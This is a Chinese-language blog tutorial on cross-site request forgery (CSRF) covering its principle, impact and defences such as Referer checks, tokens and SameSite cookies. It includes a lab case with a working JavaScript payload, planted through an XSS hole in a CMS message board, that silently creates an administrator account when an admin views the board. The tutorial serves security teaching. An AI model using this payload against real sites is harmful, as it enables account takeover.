CSRF 跨站请求伪造漏洞理解

1.漏洞描述

        跨站请求伪造是一种攻击,它强制浏览器客户端用户在当前对其进行身份验证后的Web应用程序上执行非本意的操作,攻击的重点在处于更改状态请求,而不是盗取数据,因为攻击者无法查看伪造请求的响应。

2.漏洞原理

        攻击者可以伪造当前已经登录用户的身份访问正常的网站,执行非本意的操作。正常的网站,没有对来源请求进行严格的验证和过滤,导致攻击者可以伪造正常用户的请求,达到攻击的目的。        

3.漏洞场景

        在特殊场景下,客户端向服务器发起更改状态的请求,容易产生CSRF漏洞。

常见场景:

  • 银行转账
  • 修改密码

4.漏洞评级

⭐⭐⭐⭐⭐⭐⭐⭐⭐⭐        高危

5.漏洞危害

攻击者借用正常用户的身份,发起更改状态的请求,如:

  • 银行转账
  • 修改密码
  • 修改邮箱
  • 群发消息
  • 与XSS漏洞结合创建网站后台管理员账号
  • ...

6.漏洞验证

7.漏洞利用

  • DVWA重置当前用户密码
  • CMS创建新管理员

8.漏洞防御

1)无效的防御:

  • 使用密码的Cookie。
  • 将接受POST请求。
  • 多步交易:多步交易,有可能会被恶意攻击者预测
  • URL重写:用户的身份信息会暴露在URL中,不建议通过引用另一个漏洞解决当前漏洞
  • HTTPS:所以安全机制的前提。

2)有效的防御:

a.

验证Referer字段

  • 当前URL的上一个URL。
  • 转账页面到转账操作
  • 伪造?

b.

二次验证:在关键操作之前,在输入密码或者验证码。

c.

添加Token 验证:

d.

HttpOnly:某些情况下禁止 JS 脚本访问

e.

SameSite:Cookie 属性,浏览器自带安全机制。

9.典型案例

1)CMS创建新用户

方法:攻击者可以利用 XSS 触发 CSRF 攻击。因为,可以利用 JS 发送 HTTP 请求。经过研究受害网站的业务流程,可以构造如下代码:

代码:

<script>
xmlhttp = new XMLHttpRequest();
xmlhttp.open("post","http://10.9.47.44/cms/admin/user.action.php",fal
se);
xmlhttp.setRequestHeader("Content-type","application/x-www-form-
urlencoded");
xmlhttp.send("act=add&username=wj33333&password=123456&password2=123456
&button=%E6%B7%BB%E5%8A%A0%E7%94%A8%E6%88%B7&userid=0");
</script>

前提:

我们发现CSM网站留言板存在xss漏洞

a.第一步:

  • 填写留言板并提交。

b.第二步:

  • 模仿管理员管理留言板。
  • 管理员登录账号

  • 查看留言板

到这里就已经完成了添加用户。

  • 查看管理员账号,发现是我们添加的账号

  • 登录

  • 8
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值